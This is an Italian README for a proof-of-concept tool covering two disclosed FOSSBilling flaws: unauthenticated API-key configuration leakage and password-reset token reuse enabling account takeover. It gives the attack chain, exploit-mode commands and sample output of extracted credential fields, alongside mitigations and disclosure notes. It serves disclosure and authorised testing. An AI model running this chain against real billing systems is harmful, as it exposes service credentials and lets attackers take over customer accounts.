
FOSSBilling CVE-2026-53647 & CVE-2026-53646 PoC — Divulgazione non autenticata della chiave API e riutilizzo del token di reset della password
███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗
██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗
█████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝
██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗
██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║
╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚═╝╚══════╝╚══════╝╚══════╝╚═╝ ╚═╝
realizzato da 7megaumka7
Strumento PoC per due vulnerabilità accettate nel programma GitHub Security Advisory in FOSSBilling ≤ 0.7.2
FOSKiller è uno strumento proof-of-concept che dimostra due vulnerabilità di sicurezza in FOSSBilling — una piattaforma open-source per la fatturazione e la gestione dei clienti. Entrambe le vulnerabilità sono state divulgate in modo responsabile attraverso il programma GitHub Security Advisory e sono completamente corrette in FOSSBilling 0.7.3+.
Lo strumento è pensato per:
L'endpoint guest /api/guest/serviceapikey/get_info restituisce l'intera configurazione del servizio — inclusi i campi custom_*, credenziali API, hostname e password — senza richiedere alcuna autenticazione. Un attaccante che conosce o enumera una chiave API valida può recuperare la configurazione completa del servizio backend da un endpoint pubblico.
Impatto: Esposizione di credenziali del servizio, hostname interni, segreti API.
Quando un cliente attiva due reset password consecutivi per lo stesso account, l'applicazione emette un nuovo token ma non invalida il precedente. Un attaccante che in precedenza ha catturato il primo token può usarlo per impostare una nuova password anche dopo che l'utente legittimo ha completato il proprio flusso di reset.
Catena dell'attacco:
1. L'attaccante attiva POST /api/guest/client/reset_password → cattura il token T1
2. La vittima attiva il proprio reset → l'app emette T2, T1 rimane valido
3. L'attaccante chiama POST /api/guest/client/update_password?hash=T1 con la password scelta
4. L'attaccante ha accesso persistente indipendentemente dal completamento del reset della vittima
Impatto: Appropriazione persistente dell'account di qualsiasi cliente la cui email di reset sia intercettabile.
Se le dipendenze mancano, lo script lo rileva all'avvio e offre di installarle automaticamente.
Clona e installa le dipendenze:
git clone https://github.com/7megaumka7/FOSKiller.git
cd FOSKiller
pip install -r requirements.txt
Oppure esegui senza pre-installazione — lo script chiederà di installare i pacchetti mancanti al primo avvio.
python fossbilling_poc.py --target URL [--key KEY] [--email EMAIL]
[--check-only | --exploit]
[--force] [--output FILE]
[--timeout SEC] [--proxy URL]
--check-only e --exploit si escludono a vicenda.
Solo rilevamento — verifica entrambi i CVE senza estrarre dati:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--check-only
Estrazione completa e documentazione della catena d'attacco:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--exploit
Salva risultati in JSON e instrada attraverso Burp Suite:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--email [email protected] \
--output results.json \
--proxy http://127.0.0.1:8080
Testa una versione sconosciuta o già corretta:
python fossbilling_poc.py \
--target https://billing.example.com \
--key myservicekey \
--force
[*] Sondaggio di https://billing.example.com …
[+] Versione rilevata: 0.7.1
[+] Intervallo interessato per CVE-2026-53647 (>=0.5.3 <=0.7.2): YES
[+] Intervallo interessato per CVE-2026-53646 (>=0.5.6 <=0.7.2): YES
── CVE-2026-53647 │ Divulgazione della configurazione della chiave API senza autenticazione ─────────
[*] Target : https://billing.example.com/api/guest/serviceapikey/get_info?key=***
[*] Modalità: Estrazione completa
[*] HTTP : 200
[+] VULNERABILE — l'endpoint ha restituito 4 campi sensibili senza autenticazione
Campo Valore
──────────────────────────────────────────────────────────────────────
custom_hostname db.internal.example.com
custom_username fossbilling_db
custom_password [OSCURATO IN QUESTO ESEMPIO]
custom_api_secret [OSCURATO IN QUESTO ESEMPIO]
── CVE-2026-53646 │ Riutilizzo del token di reset password / Appropriazione dell'account ─────
[*] Invio richiesta di reset #1 …
[*] HTTP 200 | 142 ms | 2026-06-12T10:00:00.000Z
[*] Invio richiesta di reset #2 (stessa email) …
[*] HTTP 200 | 138 ms | 2026-06-12T10:00:01.000Z
[*] Delta temporale tra le richieste: 0.643s
[!] Entrambe le richieste di reset sono riuscite — l'endpoint accetta reset ripetuti senza limitazione di velocità.
── Riepilogo ─────────────────────────────────────────────────────────────
CVE GHSA Gravità Stato
──────────────────────────────────────────────────────────────────────────────────
CVE-2026-53647 GHSA-737q-9gpr-6mpq Moderata (CVSS 6.9) VULNERABILE
CVE-2026-53646 GHSA-vp66-w6rc-x32p Alta (CVSS 7.7) POTENZIALMENTE VULNERABILE
Aggiorna a FOSSBilling >= 0.7.3, che risolve entrambe le vulnerabilità.
Se la correzione immediata non è possibile:
| CVE | Mitigazione provvisoria |
|---|---|
| CVE-2026-53647 | Blocca l'accesso a /api/guest/serviceapikey/ a livello di server web o WAF |
| CVE-2026-53646 | Implementa l'invalidazione del token su riemissione; aggiungi limitazione di velocità all'endpoint di reset |
Entrambe le vulnerabilità sono state segnalate ai manutentori di FOSSBilling attraverso il programma GitHub Security Advisory prima di questa pubblicazione.
Questo strumento è fornito esclusivamente per scopi educativi e test di sicurezza autorizzati.
Usa questo strumento solo contro sistemi di tua proprietà o per i quali hai ricevuto esplicita autorizzazione scritta per testare. L'uso non autorizzato contro sistemi di terze parti è illegale ai sensi del Computer Fraud and Abuse Act (CFAA), del Computer Misuse Act e della legislazione equivalente in tutto il mondo.
L'autore non si assume alcuna responsabilità per uso improprio, danni o conseguenze legali derivanti dall'uso di questo strumento. Usando questo strumento accetti di essere l'unico responsabile delle tue azioni.
Ricercatore e autore: 7megaumka7
Scoperta delle vulnerabilità, analisi, divulgazione responsabile e sviluppo dello strumento.
| Avviso | CVE | Tipo | CVSS | Versioni interessate |
|---|
| GHSA-737q-9gpr-6mpq | CVE-2026-53647 | Divulgazione della configurazione della chiave API senza autenticazione | 6.9 Moderata | >= 0.5.3, <= 0.7.2 |
| GHSA-vp66-w6rc-x32p | CVE-2026-53646 | Riutilizzo del token di reset password → Appropriazione dell'account | 7.7 Alta | >= 0.5.6, <= 0.7.2 |
| Opzione | Obbligatorio | Descrizione |
|---|
--target URL | Sì | URL base dell'istanza FOSSBilling |
--key KEY | Per CVE-2026-53647 | Chiave API da testare |
--email EMAIL | Per CVE-2026-53646 | Email del cliente da testare |
--check-only | No | Modalità di rilevamento — conferma la vulnerabilità senza estrarre dati |
--exploit | No | Estrazione completa + documentazione della catena d'attacco |
--force | No | Salta il controllo dell'intervallo di versione |
--output FILE | No | Salva i risultati completi in un file JSON |
--timeout SEC | No | Timeout HTTP in secondi (default: 10) |
--proxy URL | No | Proxy HTTP (es. http://127.0.0.1:8080) |
| Modalità | Opzione | Cosa fa |
|---|
| Rilevamento | --check-only | Conferma l'esistenza della vulnerabilità. Non mostra né estrae valori sensibili. |
| Predefinita | (nessuna opzione di modalità) | Conferma lo stato e mostra evidenze di base. |
| Sfruttamento | --exploit | Estrae tutti i campi divulgati; documenta la catena completa di appropriazione dell'account con metadati temporali. |